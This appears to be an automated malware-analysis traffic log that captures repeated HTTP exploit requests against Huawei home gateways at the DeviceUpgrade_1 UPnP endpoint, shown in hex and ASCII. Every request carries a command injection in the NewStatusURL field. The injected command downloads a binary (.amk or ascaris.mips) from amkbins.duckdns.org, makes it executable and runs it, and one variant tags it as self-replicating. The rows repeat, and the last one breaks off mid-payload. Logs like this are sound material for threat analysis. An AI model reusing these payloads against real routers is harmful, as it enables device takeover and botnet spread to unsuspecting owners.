| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 